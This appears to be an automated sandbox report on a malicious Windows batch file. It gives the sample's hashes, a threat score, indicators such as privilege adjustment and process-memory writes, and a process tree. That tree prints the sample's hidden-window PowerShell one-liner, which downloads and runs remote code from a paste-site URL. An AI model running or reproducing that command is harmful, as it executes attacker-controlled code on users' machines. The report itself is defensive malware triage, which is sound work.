7d3d83bb98ff3eb9f9bf8afecf4b55ab9d8e606f9c19b99d6141c224ab658315

Analysis

max time kernel
149s
max time network
152s
platform
windows11-21h2_x64
resource
win11-20260513-en
resource tags

arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
16/05/2026, 22:34

Target
f70d530338a208cdcb5ebf9ce09dfd97.bat
Size 7KB
Sample260516-2hezaadv9p
SHA256 7d3d83bb98ff3eb9f9bf8afecf4b55ab9d8e606f9c19b99d6141c224ab658315
MD5 f70d530338a208cdcb5ebf9ce09dfd97
SHA1 7d2daa32879fa9d8c617af43b03215496ead6b35
SHA512 c1a19878ee905356581bd31c0c80b3053c30f86978daf37712cede4c3c185a0c4e19c7f6f8d1388dc9e86f6dc311361e1f0b029dea5670d084f714c708ce826c
SSDEEP 96:IuCf9IQa8LhLbsMwoOAbqsYAQzayCbYUEH5KVq2ayCBcP5E:KSB8VkfhsYFavQ5Ko2a+P5E
TLSH
T15EF128254B8E36BBBC473C86B15E4514DE45503E17DAE4B6A00C2D2B1FD2DDF9F22095
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
2	1652	powershell.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1652	powershell.exe
1652	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1652	powershell.exe

Suspicious use of WriteProcessMemory 1 IoCs

description	pid	Process	procid_target
PID 1152 wrote to memory of 1652	1152	cmd.exe	81

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\f70d530338a208cdcb5ebf9ce09dfd97.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1152
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -w h iex(irm https://pastee.dev/r/5vai1jn1)
  2⤵
  - Badlisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1652

__PSScriptPolicyTest_tua4xb0p.p2k.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_tua4xb0p.p2k.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/1652-2-0x000001D91D890000-0x000001D91D8A0000-memory.dmp

Download

memory/1652-3-0x000001D91D890000-0x000001D91D8A0000-memory.dmp

Download

memory/1652-4-0x000001D91D810000-0x000001D91D832000-memory.dmp

Download

memory/1652-11-0x000001D91D890000-0x000001D91D8A0000-memory.dmp

Download